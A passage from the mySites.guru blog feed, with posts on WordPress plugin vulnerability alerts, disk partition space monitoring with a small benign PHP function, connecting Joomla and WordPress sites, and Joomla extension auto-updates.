&lt;p&gt;These are just a few. The &lt;a href=&quot;https://mysites.guru/reviews/&quot;&gt;reviews page&lt;/a&gt; has them all, or you can &lt;a href=&quot;https://manage.mysites.guru&quot;&gt;leave your own&lt;/a&gt; if you&apos;re already a user.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/reviews/&quot;&gt;&lt;/a&gt;&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>Reviews</category><enclosure url="https://mysites.guru/_astro/mysites-guru-reviews.CT83vcib.png" length="0" type="image/png"/></item><item><title>WordPress Plugin Vulnerability Alerting</title><link>https://mysites.guru/blog/wordpress-plugin-vulnerability-alerting/</link><guid isPermaLink="true">https://mysites.guru/blog/wordpress-plugin-vulnerability-alerting/</guid><description>mySites.guru cross-references every WordPress plugin on your sites against Wordfence, CVE and custom threat databases, flagging vulnerable plugins instantly.</description><pubDate>Mon, 01 Apr 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Outdated plugins are the most common way WordPress sites get compromised. If you suspect a vulnerable plugin has already been exploited, &lt;a href=&quot;https://mysites.guru/blog/is-my-wordpress-site-hacked/&quot;&gt;check whether your site has been hacked&lt;/a&gt; first - and if it has, the &lt;a href=&quot;https://mysites.guru/wordpress-hacked/&quot;&gt;WordPress hacked recovery guide&lt;/a&gt; covers what to do next. mySites.guru checks every plugin version on your connected sites against known vulnerability databases and flags the ones that need attention.&lt;/p&gt;
&lt;h2&gt;How does WordPress vulnerability detection work?&lt;/h2&gt;
&lt;p&gt;The mySites.guru &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;snapshot&lt;/a&gt; runs twice a day on each connected site, collecting a list of every installed plugin and its version number.&lt;/p&gt;
&lt;p&gt;That list gets compared against several threat intelligence sources:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities&quot;&gt;Wordfence vulnerability data&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cve.mitre.org/&quot;&gt;CVE and Mitre datasets&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Custom vulnerability lists and internal threat data built up over 12+ years&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If a plugin version on your site matches a known vulnerability, it gets flagged immediately. A recent example: the &lt;a href=&quot;https://mysites.guru/blog/smart-slider-3-arbitrary-file-read-vulnerability/&quot;&gt;Smart Slider 3 arbitrary file read vulnerability&lt;/a&gt; affected over 800,000 installs and was picked up automatically for any connected site running a vulnerable version. March 2026 was a particularly active month - &lt;a href=&quot;https://mysites.guru/blog/four-wordpress-plugins-security-patches-march-2026/&quot;&gt;Elementor, Yoast SEO, WPForms, and Really Simple Security&lt;/a&gt; all shipped security patches in the same window, giving agencies managing large WordPress portfolios a lot to track at once.&lt;/p&gt;
&lt;h2&gt;What do WordPress vulnerability alerts look like?&lt;/h2&gt;
&lt;p&gt;On the main sites page, vulnerable sites are marked so you can spot them at a glance:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;Click into an individual site and you get the specifics - which plugins are affected, what the vulnerability is, and a link to the full disclosure:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;How do you fix vulnerable WordPress plugins?&lt;/h2&gt;
&lt;p&gt;In most cases, updating the plugin to the latest version is the fix. Plugin authors typically patch vulnerabilities in new releases, so staying current is the single best thing you can do.&lt;/p&gt;
&lt;p&gt;The &lt;a href=&quot;https://mysites.guru/blog/learn-the-best-practice-for-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;best practice checks&lt;/a&gt; in mySites.guru will also flag other security hygiene issues - outdated PHP versions, debug mode left on, missing security headers - that compound the risk from vulnerable plugins. You should also &lt;a href=&quot;https://mysites.guru/blog/enforce-minor-upgrades-only-wordpress/&quot;&gt;enforce minor-only core updates&lt;/a&gt; so that WordPress keeps applying security patches without risking a major version jump that breaks plugin compatibility.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;⚠️ What about zero-days?&lt;/p&gt;
  &lt;p&gt;Zero-day vulnerabilities have no public disclosure yet, so no scanner can catch them before they&apos;re known. Once a vulnerability hits Wordfence, CVE, or another public database, mySites.guru picks it up on the next snapshot cycle - typically within 12 hours.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;How do you update vulnerable WordPress plugins across all your sites?&lt;/h2&gt;
&lt;p&gt;Finding the vulnerability is half the job. Fixing it across 50 or 200 sites is where the time goes. If you&apos;ve &lt;a href=&quot;https://mysites.guru/blog/stop-automatic-updates-wordpress-one-click/&quot;&gt;disabled automatic updates&lt;/a&gt; to keep control over what runs on your sites, you&apos;ll want to push vulnerable plugin updates manually as soon as a patch is available.&lt;/p&gt;
&lt;p&gt;The &lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;mass plugin updater&lt;/a&gt; lets you select every site running a vulnerable plugin version and push the update in one batch:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;You can also &lt;a href=&quot;https://mysites.guru/blog/how-to-install-an-extension-to-multiple-joomla-sites-at-once/&quot;&gt;mass install a replacement plugin&lt;/a&gt; if the vulnerable extension has been abandoned and you need to swap it out entirely.&lt;/p&gt;
&lt;h2&gt;What do you do when a WordPress plugin has no patch available?&lt;/h2&gt;
&lt;p&gt;Sometimes a vulnerability gets disclosed before the author releases a fix. In that case:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Deactivate the plugin&lt;/strong&gt; on affected sites if it&apos;s not critical to functionality&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Set up &lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;real-time file alerts&lt;/a&gt;&lt;/strong&gt; so you&apos;ll know immediately if someone exploits it&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Run a &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;security audit&lt;/a&gt;&lt;/strong&gt; to check whether the vulnerability has already been used - or use the &lt;a href=&quot;https://mysites.guru/wordpress-malware-scanner/&quot;&gt;WordPress malware scanner&lt;/a&gt; for a focused scan&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Monitor the plugin&apos;s changelog&lt;/strong&gt; - mySites.guru will automatically clear the alert once an updated version is installed&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If the plugin stays unpatched for an extended period, that&apos;s usually a sign it&apos;s been abandoned. Time to find an alternative.&lt;/p&gt;
&lt;h2&gt;Why does WordPress plugin security matter at scale?&lt;/h2&gt;
&lt;p&gt;One WordPress site with one vulnerable plugin is a manageable risk. But if you&apos;re managing 100+ client sites with 15-20 plugins each, that&apos;s a lot of versions to track. Nobody&apos;s doing that by hand. The &lt;a href=&quot;https://mysites.guru/wordpress-vulnerability-scanner/&quot;&gt;WordPress vulnerability scanner&lt;/a&gt; page covers exactly how mySites.guru handles this at scale, with detail on the threat databases and detection cycle.&lt;/p&gt;
&lt;p&gt;mySites.guru runs these checks automatically, twice a day, across every connected site. When something needs attention, you see it on your dashboard - not three months later when a client calls to say their site is defaced.&lt;/p&gt;
&lt;p&gt;These vulnerability alerts are operational noise your bookkeeper does not need. If you invite an accountant via the &lt;a href=&quot;https://mysites.guru/blog/accountant-portal-invoice-access/&quot;&gt;Accountant Portal&lt;/a&gt; role, they are excluded from security and update alerts by default.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;Run a free audit&lt;/a&gt; on any WordPress site to see what mySites.guru finds.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Vulnerability management is a key part of our &lt;a href=&quot;https://mysites.guru/guides/wordpress-joomla-security-guide/&quot;&gt;agency security guide&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>wordpress</category><category>security</category><category>plugins</category><category>vulnerability</category><category>alerts</category><enclosure url="https://mysites.guru/_astro/Relax-We-have-got-you-covered-1.DRc_vBKX.webp" length="0" type="image/webp"/></item><item><title>Web Server disk space monitoring</title><link>https://mysites.guru/blog/about-the-disk-space-warnings-in-mysites-guru/</link><guid isPermaLink="true">https://mysites.guru/blog/about-the-disk-space-warnings-in-mysites-guru/</guid><description>mySites.guru monitors your server&apos;s real disk partition usage twice daily and alerts you before it fills up - even if your hosting quota looks fine.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;The mySites.guru &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;snapshot&lt;/a&gt; monitors your server&apos;s actual disk partition usage - not your virtual hosting quota - and warns you before it fills up. Some web hosts don&apos;t surface this information at all.&lt;/p&gt;
&lt;h2&gt;What does mySites.guru measure (and why)?&lt;/h2&gt;
&lt;p&gt;Every time mySites.guru takes a snapshot of your site (twice daily, or on demand), it calls two standard PHP functions that have existed since PHP 4.1.0:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.php.net/disk_free_space&quot;&gt;&lt;code&gt;disk_free_space&lt;/code&gt;&lt;/a&gt; - returns available space on the filesystem or disk partition&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.php.net/disk_total_space&quot;&gt;&lt;code&gt;disk_total_space&lt;/code&gt;&lt;/a&gt; - returns the total size of the filesystem or disk partition&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;From those two numbers, we calculate space used and percentage used:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;private function getDiskSpace()
{
    if (! function_exists(&apos;disk_free_space&apos;) || ! function_exists(&apos;disk_total_space&apos;)) {
        return json_encode(array());
    }

    $data = array(
        &apos;free&apos;  =&amp;gt; disk_free_space(JPATH_BASE),
        &apos;total&apos; =&amp;gt; disk_total_space(JPATH_BASE),
    );

    $data[&apos;used&apos;] = $data[&apos;total&apos;] - $data[&apos;free&apos;];
    $data[&apos;percentUsed&apos;] = sprintf(&apos;%.2f&apos;, ($data[&apos;used&apos;] / $data[&apos;total&apos;]) * 100);

    $data[&apos;free&apos;]  = $this-&amp;gt;formatSize($data[&apos;free&apos;]);
    $data[&apos;total&apos;] = $this-&amp;gt;formatSize($data[&apos;total&apos;]);
    $data[&apos;used&apos;]  = $this-&amp;gt;formatSize($data[&apos;used&apos;]);

    return json_encode($data);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The stored data looks like this:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{&quot;free&quot;:&quot;1.18 TB&quot;,&quot;total&quot;:&quot;6 TB&quot;,&quot;used&quot;:&quot;4.82 TB&quot;,&quot;percentUsed&quot;:&quot;80.31&quot;}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;mySites.guru shows a &lt;strong&gt;warning&lt;/strong&gt; when the partition is over 85% full, and a &lt;strong&gt;critical alert&lt;/strong&gt; at 95% or more.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;⚠️ Partition vs. quota&lt;/p&gt;
  &lt;p&gt;This is the physical disk partition your site lives on, shared with every other site on the same server. It is not your hosting account quota. Your quota is a soft software limit - it has nothing to do with how much space is physically left on the drive.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;&quot;But my web host says my quota is fine&quot;&lt;/h2&gt;
&lt;p&gt;People hear this a lot. They contact their host, who tells them their account quota is fine. Then they email me saying mySites.guru is wrong.&lt;/p&gt;
&lt;p&gt;Two different numbers. Your hosting provider reports your &lt;strong&gt;account quota&lt;/strong&gt; - a software limit they set for your account. mySites.guru reports the &lt;strong&gt;physical disk partition&lt;/strong&gt; - the actual hard drive your files sit on, shared with potentially thousands of other sites.&lt;/p&gt;
&lt;p&gt;If the partition hits 100%, your site goes down regardless of what your quota says - and if multiple sites share that server, they&apos;ll all &lt;a href=&quot;https://mysites.guru/blog/uptime-monitoring-explained/&quot;&gt;trigger downtime alerts at the same time&lt;/a&gt;. You won&apos;t be able to take backups. MySQL may throw errcode 28 (no free space). And your hosting panel will still happily show your quota at &quot;20% used.&quot;&lt;/p&gt;
&lt;h2&gt;&quot;There&apos;s 1.18 TB free, so I&apos;m fine at 80%&quot;&lt;/h2&gt;
&lt;p&gt;Using the example data above: all the sites on that server have consumed 4.82 TB between them on a 6 TB partition. That&apos;s a lot of sites sharing one drive.&lt;/p&gt;
&lt;p&gt;Say another customer on the same server runs a backup that eats that remaining 1.18 TB. They&apos;re within their own quota, but the physical disk is now full. Your site is offline.&lt;/p&gt;
&lt;p&gt;That&apos;s an extreme scenario, but we&apos;ve seen plenty of hosts running partitions above 95%. We&apos;ve seen servers with as little as 1 GB of free space remaining - on major hosts.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;How do you disable disk space warnings?&lt;/h2&gt;
&lt;p&gt;If you&apos;d rather not see these alerts, you can turn them off. Go to &lt;a href=&quot;https://manage.mysites.guru/en/account/notifications/#tab-settings&quot;&gt;Notifications &amp;amp; Preferences&lt;/a&gt;, open the Settings &amp;amp; Preferences tab, and toggle off &quot;Show webhost disk space warnings.&quot;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;&quot;My quota is at 20% but you&apos;re showing 97%&quot;&lt;/h2&gt;
&lt;p&gt;That&apos;s because they&apos;re measuring different things. Your quota is a soft limit set by your host. The 97% is the physical partition your site runs on. Your quota could show plenty of room while the actual drive is nearly full.&lt;/p&gt;
&lt;p&gt;In fact, you might try to upload files well within your quota and fail - because the physical disk filled up first.&lt;/p&gt;
&lt;h2&gt;Why are the percentages so high?&lt;/h2&gt;
&lt;p&gt;Shared hosting providers pack as many sites onto the same hardware as possible. That&apos;s how the economics work. It&apos;s common for mass-market hosts to run partitions at 80-90%+ utilisation.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;mySites.guru thresholds: 85% = warning, 95% = critical.&lt;/strong&gt; The severity depends on partition size - 95% on a 20 GB partition leaves almost nothing, while 95% on a 10 TB partition still leaves 500 GB free.&lt;/p&gt;
&lt;h2&gt;What should you do with this information?&lt;/h2&gt;
&lt;p&gt;Like &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;everything else in mySites.guru&lt;/a&gt;, we report what we find and give you the tools to act on it. Use the information, ignore it, or disable the feature entirely. Your call.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Disk space monitoring is part of our &lt;a href=&quot;https://mysites.guru/guides/site-monitoring-alerting-guide/&quot;&gt;site monitoring guide&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>disk space</category><category>monitoring</category><category>hosting</category><category>snapshot</category><category>alerts</category><enclosure url="https://mysites.guru/_astro/diskspace.BCFhyaC1.webp" length="0" type="image/webp"/></item><item><title>Add unlimited Joomla and WordPress sites to mySites.guru</title><link>https://mysites.guru/blog/add-unlimited-joomla-and-wordpress-sites-to-mysites-guru/</link><guid isPermaLink="true">https://mysites.guru/blog/add-unlimited-joomla-and-wordpress-sites-to-mysites-guru/</guid><description>Step-by-step guide to connecting your first Joomla or WordPress site to mySites.guru - supports unlimited sites for one flat monthly fee.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;div&gt;
  
  &lt;p&gt;The screenshots below are from an older version of the interface. We&apos;ve since redesigned the dashboard, but the process works the same way.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;One of the founding principles of mySites.guru is that we offer an &lt;strong&gt;unlimited service&lt;/strong&gt; for &lt;strong&gt;unlimited sites&lt;/strong&gt; in your account at &lt;strong&gt;&lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;one set price per month (or year)&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;We haven&apos;t raised prices once since we launched in 2012. Fourteen years later and it&apos;s still the same flat fee - no sneaky annual increases, no &quot;new tier&quot; upsells.&lt;/p&gt;
&lt;p&gt;Once you have &lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;created your account&lt;/a&gt; at mySites.guru, you can then add your first site!&lt;/p&gt;
&lt;p&gt;Adding your first site is straightforward - select which platform you want to connect. We support all &lt;a href=&quot;https://mysites.guru/blog/end-of-life-supported-versions/&quot;&gt;Joomla versions from 1.5 upwards&lt;/a&gt; and WordPress going back a long time.&lt;/p&gt;
&lt;p&gt;*Make a selection of platform to add *&lt;/p&gt;
&lt;p&gt;You will then be presented with the connection wizard.&lt;/p&gt;
&lt;h2&gt;How do you add a Joomla site to mySites.guru?&lt;/h2&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;After clicking the Joomla logo you will see the connection wizard, take a look, read, and then you can proceed to the next page.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;On the &quot;Get Plugin&quot; page you are given two different ways to install our plugin into your Joomla Site.&lt;/p&gt;
&lt;p&gt;The most simple is to just copy the url in the green box by pressing the copy button next to it, and paste that into the &lt;a href=&quot;https://mysites.guru/blog/automatic-updates-for-any-joomla-extension/&quot;&gt;Joomla Extension&lt;/a&gt; Installer in your sites admin console.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;After clicking check and install and seeing a green success message, return to mySites.guru where you will see a connected screen - and your site will be connected! or you will see this screen:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;Dont panic if you see this, it just means your site did not call home to us - we can try to shout at your site and see if our connector is listening, to do this click the &quot;click here&quot; on this screen to provide your domain name&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;Add your domain name and attempt the manual connection - fingers crossed the next screen you will see is the manage site page and your site will be connected to mySites.guru&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Error messages? Forbidden? .htaccess Restrictions etc??&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;JUST &lt;a href=&quot;https://manage.mysites.guru/contact&quot;&gt;ASK FOR HELP&lt;/a&gt; - We investigate all connection issues FOR FREE for you, just use the contact links on our site to &lt;a href=&quot;https://manage.mysites.guru/contact&quot;&gt;ask for help&lt;/a&gt;, we will get you connected so you can enjoy mySites.guru&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;How do you connect a WordPress site to mySites.guru?&lt;/h2&gt;
&lt;p&gt;The process for WordPress sites is slightly different. In the wizard you will be prompted to download our plugin zip. &lt;strong&gt;Read the important notes.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;You can then install this WordPress plugin the same way you would upload any WordPress plugin to your site.&lt;/p&gt;
&lt;p&gt;You will then be asked to provide us with your WordPress Site URL ending in a trailing slash&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;Once you click attempt connection, we will shout over to your WordPress site and see if our connector replies, and then redirect you to the WordPress Manage site page.&lt;/p&gt;
&lt;h2&gt;Can I really connect unlimited sites for one set fee?&lt;/h2&gt;
&lt;p&gt;YES! - Currently the maximum number of sites in a single customer account is &lt;strong&gt;750&lt;/strong&gt;!&lt;/p&gt;
&lt;p&gt;If you get near 750, let me know, I&apos;ll buy you a cake!&lt;/p&gt;
&lt;p&gt;We have not increased &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;our prices for subscription&lt;/a&gt;s from the GBP19.99 per month since we launched in 2012.&lt;/p&gt;
&lt;h3&gt;Got Questions? Need Help?&lt;/h3&gt;
&lt;p&gt;Im online most of the time - look for the live chat at the bottom right corner of the page or locate the &lt;a href=&quot;https://manage.mysites.guru/contact&quot;&gt;contact&lt;/a&gt;/feedback links.&lt;/p&gt;
&lt;p&gt;**Every Single Page that we publish has a contact means on it and I answer all emails personally within moments if I&apos;m online and within 12 hours normally! **&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>wordpress</category><category>site management</category><category>pricing</category><enclosure url="https://mysites.guru/_astro/4k-images-5-1024x576.DkLek3gp.webp" length="0" type="image/webp"/></item><item><title>Automatic Updates for Any Joomla Extension</title><link>https://mysites.guru/blog/automatic-updates-for-any-joomla-extension/</link><guid isPermaLink="true">https://mysites.guru/blog/automatic-updates-for-any-joomla-extension/</guid><description>Enable automatic updates for any Joomla extension that uses a Joomla update site - set per-site or across all connected sites with two clicks.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Any Joomla extension that has an update site (meaning it implements the Joomla Updates API) can be set to automatically update when a new version is available. WordPress has had this for years, and now mySites.guru brings the same capability to Joomla - particularly useful when you&apos;re &lt;a href=&quot;https://mysites.guru/manage-multiple-joomla-sites/&quot;&gt;managing multiple Joomla sites&lt;/a&gt; and need consistent extension versions across every one of them.&lt;/p&gt;
&lt;p&gt;Note: this covers &lt;em&gt;extension&lt;/em&gt; auto-updates, which you control per-extension through mySites.guru. Joomla 5.4+ also introduced &lt;a href=&quot;https://mysites.guru/blog/how-to-disable-joomla-automated-upgrades/&quot;&gt;automated &lt;em&gt;core&lt;/em&gt; updates&lt;/a&gt; - a separate feature managed by Joomla.org infrastructure that patches the CMS itself without admin intervention. If you manage client sites, you probably want to disable core auto-updates while selectively enabling extension auto-updates here.&lt;/p&gt;
&lt;h2&gt;Background on Joomla extension auto-updates&lt;/h2&gt;
&lt;p&gt;mySites.guru has been running automatic updates for years. The system has automatically upgraded over 3 million &lt;a href=&quot;https://www.joomlacontenteditor.net/&quot;&gt;JCE Editor&lt;/a&gt;, &lt;a href=&quot;https://www.akeeba.com/products/akeeba-backup.html&quot;&gt;Akeeba Backup&lt;/a&gt;, &lt;a href=&quot;https://www.akeeba.com/products/admin-tools.html&quot;&gt;Admin Tools&lt;/a&gt;, and &lt;a href=&quot;https://regularlabs.com/&quot;&gt;RegularLabs&lt;/a&gt; extensions across connected sites.&lt;/p&gt;
&lt;p&gt;Originally, auto-updates were limited to a handful of trusted extension developers. The quality of some Joomla extensions at the time made it risky to auto-update everything. Since then, the ecosystem has matured, and customers told us they wanted to select their own extensions for auto-update, including custom extensions they&apos;d built themselves.&lt;/p&gt;
&lt;p&gt;So now you can select &lt;strong&gt;any update site stream&lt;/strong&gt; and mark it for automatic updates.&lt;/p&gt;
&lt;h2&gt;How do Joomla extension auto-updates work?&lt;/h2&gt;
&lt;p&gt;On the Updates tab of any Manage Site page, you&apos;ll see every update site stream reported by your Joomla site:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;This data comes from the &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;snapshot of your site&lt;/a&gt;. You can see the exact URL each extension developer provides for updates, which also lets you verify the authenticity of your update sites. Very few Joomla site owners actually check this.&lt;/p&gt;
&lt;p&gt;Any stream marked &lt;strong&gt;Auto Update Enabled&lt;/strong&gt; gets checked once a day. If an update is available for an installed extension, mySites.guru tells your Joomla site to apply it. You&apos;ll get an email notification for both successful and failed updates.&lt;/p&gt;
&lt;h2&gt;How do you enable Joomla auto-updates across all sites at once?&lt;/h2&gt;
&lt;p&gt;The split button lets you enable an update site stream across every connected site in your account. Want Akeeba Backup to auto-update on all your sites? Two clicks. The same cross-site approach applies to &lt;a href=&quot;https://mysites.guru/manage-multiple-wordpress-sites/&quot;&gt;managing multiple WordPress sites&lt;/a&gt; - plugin auto-updates work identically across your WordPress portfolio.&lt;/p&gt;
&lt;p&gt;This also works for Joomla&apos;s own components - Accredited Translations, Joomla WebLinks, and the Joomla Update Component can all be kept current automatically.&lt;/p&gt;
&lt;h2&gt;How do you verify Joomla update site authenticity?&lt;/h2&gt;
&lt;p&gt;One thing most Joomla site owners never do is check where their update sites actually point. Every extension registers a URL that Joomla calls when checking for updates. If that URL has been tampered with, or if a dodgy extension is phoning home to somewhere unexpected, you&apos;d never know without looking.&lt;/p&gt;
&lt;p&gt;The Updates tab in mySites.guru shows you the exact URL for each update stream. If something doesn&apos;t look right (an unfamiliar domain, HTTP instead of HTTPS, a URL that doesn&apos;t match the developer&apos;s known infrastructure), that&apos;s worth investigating before you enable auto-updates for it. A common example is an abandoned extension whose update site now &lt;a href=&quot;https://mysites.guru/blog/invalid-status-code-999-joomla-update-error/&quot;&gt;redirects to LinkedIn and returns an HTTP 999 error&lt;/a&gt;, which breaks update checks across every site that has it installed.&lt;/p&gt;
&lt;h2&gt;When should you use Joomla auto-updates vs manual updates?&lt;/h2&gt;
&lt;p&gt;Auto-updates work best for extensions where you trust the developer and where updates are typically non-breaking: security tools like Akeeba Backup and Admin Tools, content editors like JCE, and utility extensions like RegularLabs. JCE is a good example of why this pays off: it shipped &lt;a href=&quot;https://mysites.guru/blog/jce-pro-2-9-99-5-security-update/&quot;&gt;back-to-back security releases&lt;/a&gt;, including an unauthenticated file upload fix, and auto-updated sites picked them up overnight while everyone else logged in by hand.&lt;/p&gt;
&lt;p&gt;For extensions that are tightly integrated with your site&apos;s functionality (page builders, complex e-commerce components, or anything that modifies database schema on update), you might prefer to &lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;apply updates manually&lt;/a&gt; so you can test first. Nothing stops you from mixing both approaches: auto-update the low-risk stuff and manually handle the rest. If you are setting this up on a new account today, the &lt;a href=&quot;https://mysites.guru/blog/how-to-enable-joomla-extension-auto-updates/&quot;&gt;step-by-step how-to for enabling extension auto-updates safely&lt;/a&gt; walks through the backup-first ordering and the rollback step.&lt;/p&gt;
&lt;p&gt;Note that extension auto-updates through mySites.guru are separate from Joomla&apos;s built-in &lt;a href=&quot;https://mysites.guru/blog/how-to-disable-joomla-automated-upgrades/&quot;&gt;automated core upgrades&lt;/a&gt; introduced in Joomla 5.4. The core auto-update feature only touches Joomla itself, not third-party extensions. If you want both core and extension updates managed through a controlled workflow, disable core auto-updates and use mySites.guru for both.&lt;/p&gt;
&lt;h2&gt;Can you auto-update your own custom Joomla extensions?&lt;/h2&gt;
&lt;p&gt;If you&apos;ve built custom extensions for your clients, you can auto-update those too, as long as they implement a standard Joomla update site. This is common for agencies that maintain a branded plugin across dozens of client sites.&lt;/p&gt;
&lt;p&gt;Push a new version to your update server, and mySites.guru rolls it out to every site that has auto-updates enabled for that stream. No need to use the &lt;a href=&quot;https://mysites.guru/blog/how-to-install-an-extension-to-multiple-joomla-sites-at-once/&quot;&gt;mass installer&lt;/a&gt; for routine version bumps.&lt;/p&gt;
&lt;h2&gt;What happens when an auto-update fails?&lt;/h2&gt;
&lt;p&gt;mySites.guru sends you an email immediately. The notification tells you which site, which extension, and what went wrong. Common failure reasons:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The site was offline or unreachable when the update was attempted&lt;/li&gt;
&lt;li&gt;PHP memory or execution time limits were too low for the update package&lt;/li&gt;
&lt;li&gt;File permission issues prevented writing to the extension directory&lt;/li&gt;
&lt;li&gt;The update server itself was temporarily unavailable&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Failed updates don&apos;t affect other sites or other extensions. Each is processed independently. Fix the underlying issue and either wait for the next daily check or trigger a manual update.&lt;/p&gt;
&lt;h2&gt;What if I don&apos;t want auto-updates?&lt;/h2&gt;
&lt;p&gt;Nothing is enabled by default. You have to make a conscious decision to opt in for each extension stream. If you prefer to review and apply updates manually, that&apos;s fine too.&lt;/p&gt;
&lt;h2&gt;Safety net: backups and uptime monitoring&lt;/h2&gt;
&lt;p&gt;You can &lt;a href=&quot;https://mysites.guru/blog/backup-1000s-of-joomla-and-wordpress-sites-with-ease-with-mysites-guru/&quot;&gt;schedule daily backups&lt;/a&gt; in your mySites.guru account using Akeeba Backup (free or professional version). If an auto-update causes problems, you&apos;ve got a restore point from before the update ran.&lt;/p&gt;
&lt;p&gt;mySites.guru notifies you immediately when an update succeeds or fails. The notification email includes a link to the developer&apos;s release notes so you can check what changed.&lt;/p&gt;
&lt;p&gt;You can also set up &lt;a href=&quot;https://mysites.guru/blog/monitor-your-sites-uptime-with-mysites-guru/&quot;&gt;uptime monitoring&lt;/a&gt; that checks your site every 5 minutes around the clock. If a site goes offline after an update, you&apos;ll know within minutes - not when a client calls.&lt;/p&gt;
&lt;h2&gt;Force-pushing a specific extension version with the mass installer&lt;/h2&gt;
&lt;p&gt;Sometimes auto-updates and the standard upgrade path aren&apos;t what you need. Maybe an extension&apos;s update server is down, or you want to roll back to a specific version, or you&apos;ve got a patched zip that fixes a problem the developer hasn&apos;t released yet.&lt;/p&gt;
&lt;p&gt;In those cases, the &lt;a href=&quot;https://mysites.guru/blog/how-to-install-an-extension-to-multiple-joomla-sites-at-once/&quot;&gt;mass installer&lt;/a&gt; lets you upload a zip file (or paste a URL to one) and push it to as many sites as you want. The installer overwrites whatever version is currently installed - so you can use it to upgrade, downgrade, or replace an extension entirely.&lt;/p&gt;
&lt;p&gt;This is also useful for extensions that don&apos;t have an update site at all. Some older Joomla extensions or niche commercial plugins never implemented the Joomla Updates API, so auto-updates aren&apos;t an option. The mass installer sidesteps that completely. If you&apos;ve got the zip, you can deploy it.&lt;/p&gt;
&lt;h2&gt;Combining auto-updates with vulnerability alerts&lt;/h2&gt;
